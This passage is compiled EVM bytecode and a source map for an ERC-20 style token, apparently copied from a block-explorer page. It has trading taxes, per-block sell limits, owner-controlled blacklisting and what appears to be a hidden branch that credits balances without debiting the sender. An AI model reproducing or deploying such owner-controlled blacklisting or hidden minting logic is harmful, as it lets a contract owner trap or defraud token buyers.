d0314c0f7b2291e5b200ac8c7c3b92583604051611a559190612c7b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac790613643565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b35906136d1565b60405180910390fd5b5f8111611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779061375f565b60405180910390fd5b601460169054906101000a900460ff161580611ba85750601460159054906101000a900460ff165b15611d3957611bfd8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461291390919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611c8e8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d2c9190612c7b565b60405180910390a3612519565b5f611d426115a9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611db05750611d806115a9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561226d575f82118015611dc95750611dc884611009565b5b15611de657611dd882846129b9565b611de0575f80fd5b50612519565b5f600e5403611e2e57611e2b6064611e1d600a54600e5411611e0a57600654611e0e565b6008545b8561285390919063ffffffff16565b6128ca90919063ffffffff16565b90505b5f600e541115611e6357611e606064611e52600d548561285390919063ffffffff16565b6128ca90919063ffffffff16565b90505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611f0c575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f5f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561205757600f54821115611fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa0906137c7565b60405180910390fd5b60105482611fb685611127565b611fc091906137e5565b1115612001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff890613862565b60405180910390fd5b61203d606461202f600a54600e541161201c57600654612020565b6008545b8561285390919063ffffffff16565b6128ca90919063ffffffff16565b9050600e5f81548092919061205190613880565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120df57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612123576121206064612112600b54600e54116120ff57600754612103565b6009545b8561285390919063ffffffff16565b6128ca90919063ffffffff16565b90505b5f61212d30611127565b9050601460159054906101000a900460ff16158015612198575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156121b05750601460169054906101000a900460ff165b80156121bf5750600c54600e54115b1561226b576016544311156121d6575f6015819055505b60036015541061221b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221290613911565b60405180910390fd5b6011548111156122435761224261223d8461223884601254612a54565b612a54565b612580565b5b61224c476127eb565b60155f81548092919061225e90613880565b9190505550436016819055505b505b5f81111561236c576122c58160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123639190612c7b565b60405180910390a35b6123bc8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461291390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061245f612413828461291390919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef612502848661291390919063ffffffff16565b60405161250f9190612c7b565b60405180910390a3505b505050565b5f838311158290612565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255c9190612b3d565b60405180910390fd5b505f8385612573919061392f565b9050809150509392505050565b6001601460156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156125b7576125b6612d1c565b5b6040519080825280602002602001820160405280156125e55781602001602082028036833780820191505090505b50905030815f815181106125fc576125fb61345f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126a0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126c4919061328c565b816001815181106126d8576126d761345f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061273e3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461189f565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127a0959493929190613a19565b5f604051808303815f87803b1580156127b7575f80fd5b505af11580156127c9573d5f803e3d5ffd5b50505050505f601460156101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561284f573d5f803e3d5ffd5b5050565b5f808303612863575f90506128c4565b5f82846128709190613237565b905082848261287f9190613a9e565b146128bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128b690613b3e565b60405180910390fd5b809150505b92915050565b5f61290b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6c565b905092915050565b5f61295483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061251e565b905092915050565b5f80828461296a91906137e5565b9050838110156129af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a690613ba6565b60405180910390fd5b8091505092915050565b5f80612a0b8460015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461295c90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905511905092915050565b5f818311612a625782612a64565b815b905092915050565b5f8083118290612ab2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa99190612b3d565b60405180910390fd5b505f8385612ac09190613a9e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612b0f82612acd565b612b198185612ad7565b9350612b29818560208601612ae7565b612b3281612af5565b840191505092915050565b5f6020820190508181035f830152612b558184612b05565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612b9782612b6e565b9050919050565b612ba781612b8d565b8114612bb1575f80fd5b50565b5f81359050612bc281612b9e565b92915050565b5f819050919050565b612bda81612bc8565b8114612be4575f80fd5b50565b5f81359050612bf581612bd1565b92915050565b5f8060408385031215612c1157612c10612b66565b5b5f612c1e85828601612bb4565b9250506020612c2f85828601612be7565b9150509250929050565b5f8115159050919050565b612c4d81612c39565b82525050565b5f602082019050612c665f830184612c44565b92915050565b612c7581612bc8565b82525050565b5f602082019050612c8e5f830184612c6c565b92915050565b5f805f60608486031215612cab57612caa612b66565b5b5f612cb886828701612bb4565b9350506020612cc986828701612bb4565b9250506040612cda86828701612be7565b9150509250925092565b5f60ff82169050919050565b612cf981612ce4565b82525050565b5f602082019050612d125f830184612cf0565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612d5282612af5565b810181811067ffffffffffffffff82111715612d7157612d70612d1c565b5b80604052505050565b5f612d83612b5d565b9050612d8f8282612d49565b919050565b5f67ffffffffffffffff821115612dae57612dad612d1c565b5b602082029050602081019050919050565b5f80fd5b5f612dd5612dd084612d94565b612d7a565b90508083825260208201905060208402830185811115612df857612df7612dbf565b5b835b81811015612e215780612e0d8882612bb4565b845260208401935050602081019050612dfa565b5050509392505050565b5f82601f830112612e3f57612e3e612d18565b5b8135612e4f848260208601612dc3565b91505092915050565b5f60208284031215612e6d57612e6c612b66565b5b5f82013567ffffffffffffffff811115612e8a57612e89612b6a565b5b612e9684828501612e2b565b91505092915050565b5f612ea982612b6e565b9050919050565b612eb981612e9f565b8114612ec3575f80fd5b50565b5f81359050612ed481612eb0565b92915050565b5f60208284031215612eef57612eee612b66565b5b5f612efc84828501612ec6565b91505092915050565b5f60208284031215612f1a57612f19612b66565b5b5f612f2784828501612bb4565b91505092915050565b612f3981612b8d565b82525050565b5f602082019050612f525f830184612f30565b92915050565b5f8060408385031215612f6e57612f6d612b66565b5b5f612f7b85828601612bb4565b9250506020612f8c85828601612bb4565b9150509250929050565b5f60208284031215612fab57612faa612b66565b5b5f612fb884828501612be7565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612ff5602083612ad7565b915061300082612fc1565b602082019050919050565b5f6020820190508181035f83015261302281612fe9565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61305d601783612ad7565b915061306882613029565b602082019050919050565b5f6020820190508181035f83015261308a81613051565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115613113578086048111156130ef576130ee613091565b5b60018516156130fe5780820291505b808102905061310c856130be565b94506130d3565b94509492505050565b5f8261312b57600190506131e6565b81613138575f90506131e6565b816001811461314e576002811461315857613187565b60019150506131e6565b60ff84111561316a57613169613091565b5b8360020a91508482111561318157613180613091565b5b506131e6565b5060208310610133831016604e8410600b84101617156131bc5782820a9050838111156131b7576131b6613091565b5b6131e6565b6131c984848460016130ca565b925090508184048111156131e0576131df613091565b5b81810290505b9392505050565b5f6131f782612bc8565b915061320283612ce4565b925061322f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461311c565b905092915050565b5f61324182612bc8565b915061324c83612bc8565b925082820261325a81612bc8565b9150828204841483151761327157613270613091565b5b5092915050565b5f8151905061328681612b9e565b92915050565b5f602082840312156132a1576132a0612b66565b5b5f6132ae84828501613278565b91505092915050565b5f6040820190506132ca5f830185612f30565b6132d76020830184612f30565b9392505050565b5f819050919050565b5f819050919050565b5f61330a613305613300846132de565b6132e7565b612bc8565b9050919050565b61331a816132f0565b82525050565b5f60c0820190506133335f830189612f30565b6133406020830188612c6c565b61334d6040830187613311565b61335a6060830186613311565b6133676080830185612f30565b61337460a0830184612c6c565b979650505050505050565b5f8151905061338d81612bd1565b92915050565b5f805f606084860312156133aa576133a9612b66565b5b5f6133b78682870161337f565b93505060206133c88682870161337f565b92505060406133d98682870161337f565b9150509250925092565b5f6040820190506133f65f830185612f30565b6134036020830184612c6c565b9392505050565b61341381612c39565b811461341d575f80fd5b50565b5f8151905061342e8161340a565b92915050565b5f6020828403121561344957613448612b66565b5b5f61345684828501613420565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f602082840312156134a1576134a0612b66565b5b5f6134ae8482850161337f565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613511602483612ad7565b915061351c826134b7565b604082019050919050565b5f6020820190508181035f83015261353e81613505565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61359f602283612ad7565b91506135aa82613545565b604082019050919050565b5f6020820190508181035f8301526135cc81613593565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61362d602583612ad7565b9150613638826135d3565b604082019050919050565b5f6020820190508181035f83015261365a81613621565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6136bb602383612ad7565b91506136c682613661565b604082019050919050565b5f6020820190508181035f8301526136e8816136af565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613749602983612ad7565b9150613754826136ef565b604082019050919050565b5f6020820190508181035f8301526137768161373d565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6137b1601983612ad7565b91506137bc8261377d565b602082019050919050565b5f6020820190508181035f8301526137de816137a5565b9050919050565b5f6137ef82612bc8565b91506137fa83612bc8565b925082820190508082111561381257613811613091565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f61384c601a83612ad7565b915061385782613818565b602082019050919050565b5f6020820190508181035f83015261387981613840565b9050919050565b5f61388a82612bc8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036138bc576138bb613091565b5b600182019050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6138fb601783612ad7565b9150613906826138c7565b602082019050919050565b5f6020820190508181035f830152613928816138ef565b9050919050565b5f61393982612bc8565b915061394483612bc8565b925082820390508181111561395c5761395b613091565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61399481612b8d565b82525050565b5f6139a5838361398b565b60208301905092915050565b5f602082019050919050565b5f6139c782613962565b6139d1818561396c565b93506139dc8361397c565b805f5b83811015613a0c5781516139f3888261399a565b97506139fe836139b1565b9250506001810190506139df565b5085935050505092915050565b5f60a082019050613a2c5f830188612c6c565b613a396020830187613311565b8181036040830152613a4b81866139bd565b9050613a5a6060830185612f30565b613a676080830184612c6c565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613aa882612bc8565b9150613ab383612bc8565b925082613ac357613ac2613a71565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613b28602183612ad7565b9150613b3382613ace565b604082019050919050565b5f6020820190508181035f830152613b5581613b1c565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613b90601b83612ad7565b9150613b9b82613b5c565b602082019050919050565b5f6020820190508181035f830152613bbd81613b84565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c70a205906fd129906ad22beadbefb41fb1752050712199f18672f56d78b9a4f64736f6c634300081a0033

Deployed Bytecode Sourcemap

3593:9708:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8365:153;;;;;;;;;;;;;:::i;:::-;;5471:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7055:679;;;;;;;;;;;;;:::i;:::-;;6304:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4705:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5748:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6473:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5657:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6794:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12531:338;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6964:83;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12214:305;;;;;;;;;;;;;:::i;:::-;;5851:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2674:148;;;;;;;;;;;;;:::i;:::-;;8526:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4537:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8085:272;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2460:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4591:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5562:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5978:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4647:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13132:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6153:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11982:187;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8365:153;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8449:1:::1;8425:21;:25;8417:34;;;::::0;::::1;;8470:7;:5;:7::i;:::-;8462:25;;:48;8488:21;8462:48;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;8365:153::o:0;5471:83::-;5508:13;5541:5;;;;;;;;;;;;;;;;;5534:12;;5471:83;:::o;7055:679::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7118:11:::1;::::0;::::1;;;;;;;;7117:12;7109:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;7212:42;7167:15;;:89;;;;;;;;;;;;;;;;;;7267:58;7284:4;7299:15;;;;;;;;;;;4342:1;4403:2;:13;;;;:::i;:::-;4385:15;:31;;;;:::i;:::-;7267:8;:58::i;:::-;7370:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7352:55;;;7416:4;7423:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7352:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7336:13;;:110;;;;;;;;;;;;;;;;;;7457:15;;;;;;;;;;;:31;;;7496:21;7527:4;7533:24;7551:4;7533:9;:24::i;:::-;7558:1;7560::::0;7562:7:::1;:5;:7::i;:::-;7570:15;7457:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7604:13;;;;;;;;;;;7597:29;;;7635:15;;;;;;;;;;;7653:14;7597:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7693:4;7679:11;;:18;;;;;;;;;;;;;;;;;;7722:4;7708:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;7055:679::o:0;6304:161::-;6379:4;6396:39;6405:12;:10;:12::i;:::-;6419:7;6428:6;6396:8;:39::i;:::-;6453:4;6446:11;;6304:161;;;;:::o;4705:45::-;;;;:::o;5748:95::-;5801:7;4342:1;4403:2;:13;;;;:::i;:::-;4385:15;:31;;;;:::i;:::-;5821:14;;5748:95;:::o;6473:313::-;6571:4;6588:36;6598:6;6606:9;6617:6;6588:9;:36::i;:::-;6635:121;6644:6;6652:12;:10;:12::i;:::-;6666:89;6704:6;6666:89;;;;;;;;;;;;;;;;;:11;:19;6678:6;6666:19;;;;;;;;;;;;;;;:33;6686:12;:10;:12::i;:::-;6666:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6635:8;:121::i;:::-;6774:4;6767:11;;6473:313;;;;;:::o;5657:83::-;5698:5;4342:1;5716:16;;5657:83;:::o;6794:162::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6867:6:::1;6862:87;6883:6;:13;6879:1;:17;6862:87;;;6934:5;6916:4;:15;6921:6;6928:1;6921:9;;;;;;;;:::i;:::-;;;;;;;;6916:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;6898:3;;;;;;;6862:87;;;;6794:162:::0;:::o;12531:338::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4342:1:::1;4403:2;:13;;;;:::i;:::-;4385:15;:31;;;;:::i;:::-;12604:12;:22;;;;4342:1;4403:2;:13;;;;:::i;:::-;4385:15;:31;;;;:::i;:::-;12637:14;:22;;;;12675:27;4342:1;4403:2;:13;;;;:::i;:::-;4385:15;:31;;;;:::i;:::-;12675:27;;;;;;:::i;:::-;;;;;;;;12713:21;12729:4;12713:15;:21::i;:::-;12745:30;12792:1;12778:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12745:49;;12824:4;12805:13;12819:1;12805:16;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;12839:22;12847:13;12839:7;:22::i;:::-;12593:276;12531:338:::0;:::o;6964:83::-;7011:4;7032;:7;7037:1;7032:7;;;;;;;;;;;;;;;;;;;;;;;;;7025:14;;6964:83;;;:::o;12214:305::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12266:20:::1;12287:24;12305:4;12287:9;:24::i;:::-;12266:45;;12338:1;12325:12;:14;12322:65;;;12353:22;12362:12;12353:8;:22::i;:::-;12322:65;12397:18;12416:21;12397:40;;12462:1;12451:10;:12;12448:64;;;12477:23;12489:10;12477:11;:23::i;:::-;12448:64;12255:264;;12214:305::o:0;5851:119::-;5917:7;5944:9;:18;5954:7;5944:18;;;;;;;;;;;;;;;;5937:25;;5851:119;;;:::o;2674:148::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2781:1:::1;2744:40;;2765:6;::::0;::::1;;;;;;;;2744:40;;;;;;;;;;;;2812:1;2795:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2674:148::o:0;8526:143::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8614:4:::1;8593:10;;:26;;;;;;;;;;;;;;;;;;8657:4;8630:18;:24;8649:4;8630:24;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;8526:143:::0;:::o;4537:47::-;;;;:::o;8085:272::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8172:15:::1;8190:105;8291:3;8190:82;8264:7;8197:8;8190:40;;;8239:4;8190:55;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:73;;:82;;;;:::i;:::-;:100;;:105;;;;:::i;:::-;8172:123;;8313:8;8306:25;;;8332:7;:5;:7::i;:::-;8341;8306:43;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8161:196;8085:272:::0;;:::o;2460:79::-;2498:7;2525:6;;;;;;;;;;;2518:13;;2460:79;:::o;4591:49::-;;;;:::o;5562:87::-;5601:13;5634:7;;;;;;;;;;;;;;;;;5627:14;;5562:87;:::o;5978:167::-;6056:4;6073:42;6083:12;:10;:12::i;:::-;6097:9;6108:6;6073:9;:42::i;:::-;6133:4;6126:11;;5978:167;;;;:::o;4647:51::-;;;;:::o;13132:164::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13206:6:::1;13201:88;13222:5;:12;13218:1;:16;13201:88;;;13273:4;13256;:14;13261:5;13267:1;13261:8;;;;;;;;:::i;:::-;;;;;;;;13256:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;13236:3;;;;;;;13201:88;;;;13132:164:::0;:::o;6153:143::-;6234:7;6261:11;:18;6273:5;6261:18;;;;;;;;;;;;;;;:27;6280:7;6261:27;;;;;;;;;;;;;;;;6254:34;;6153:143;;;;:::o;11982:187::-;2597:12;:10;:12::i;:::-;2587:22;;:6;;;;;;;;;;:22;;;2579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12063:12:::1;;12054:7;:21;;:47;;;;;12088:13;;12079:7;:22;;12054:47;12046:56;;;::::0;::::1;;12124:7;12111:12;:20;;;;12154:7;12140:13;:21;;;;11982:187:::0;:::o;215:98::-;268:7;295:10;288:17;;215:98;:::o;7742:335::-;7852:1;7835:19;;:5;:19;;;7827:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7933:1;7914:21;;:7;:21;;;7906:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8015:6;7985:11;:18;7997:5;7985:18;;;;;;;;;;;;;;;:27;8004:7;7985:27;;;;;;;;;;;;;;;:36;;;;8053:7;8037:32;;8046:5;8037:32;;;8062:6;8037:32;;;;;;:::i;:::-;;;;;;;;7742:335;;;:::o;8677:2786::-;8794:1;8776:20;;:6;:20;;;8768:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8878:1;8857:23;;:9;:23;;;8849:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8950:1;8939:8;:12;8931:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;9012:11;;;;;;;;;;;9011:12;:22;;;;9027:6;;;;;;;;;;;9011:22;9008:255;;;9070:31;9092:8;9070:9;:17;9080:6;9070:17;;;;;;;;;;;;;;;;:21;;:31;;;;:::i;:::-;9050:9;:17;9060:6;9050:17;;;;;;;;;;;;;;;:51;;;;9139:34;9164:8;9139:9;:20;9149:9;9139:20;;;;;;;;;;;;;;;;:24;;:34;;;;:::i;:::-;9116:9;:20;9126:9;9116:20;;;;;;;;;;;;;;;:57;;;;9210:9;9193:37;;9202:6;9193:37;;;9221:8;9193:37;;;;;;:::i;:::-;;;;;;;;9245:7;;9008:255;9273:17;9317:7;:5;:7::i;:::-;9307:17;;:6;:17;;;;:41;;;;;9341:7;:5;:7::i;:::-;9328:20;;:9;:20;;;;9307:41;9303:1765;;;9379:1;9368:8;:12;:29;;;;;9384:13;9390:6;9384:5;:13::i;:::-;9368:29;9365:133;;;9426:29;9435:8;9445:9;9426:8;:29::i;:::-;9418:38;;;;;;9475:7;;;9365:133;9526:1;9515:9;;:12;9512:141;;9559:78;9633:3;9559:69;9583:15;;9573:9;;:25;9572:55;;9613:14;;9572:55;;;9600:12;;9572:55;9559:8;:12;;:69;;;;:::i;:::-;:73;;:78;;;;:::i;:::-;9547:90;;9512:141;9680:1;9670:9;;:11;9667:97;;;9713:35;9744:3;9713:26;9726:12;;9713:8;:12;;:26;;;;:::i;:::-;:30;;:35;;;;:::i;:::-;9701:47;;9667:97;9794:13;;;;;;;;;;;9784:23;;:6;:23;;;:64;;;;;9832:15;;;;;;;;;;;9811:37;;:9;:37;;;;9784:64;:99;;;;;9854:18;:29;9873:9;9854:29;;;;;;;;;;;;;;;;;;;;;;;;;9852:31;9784:99;9780:449;;;9925:12;;99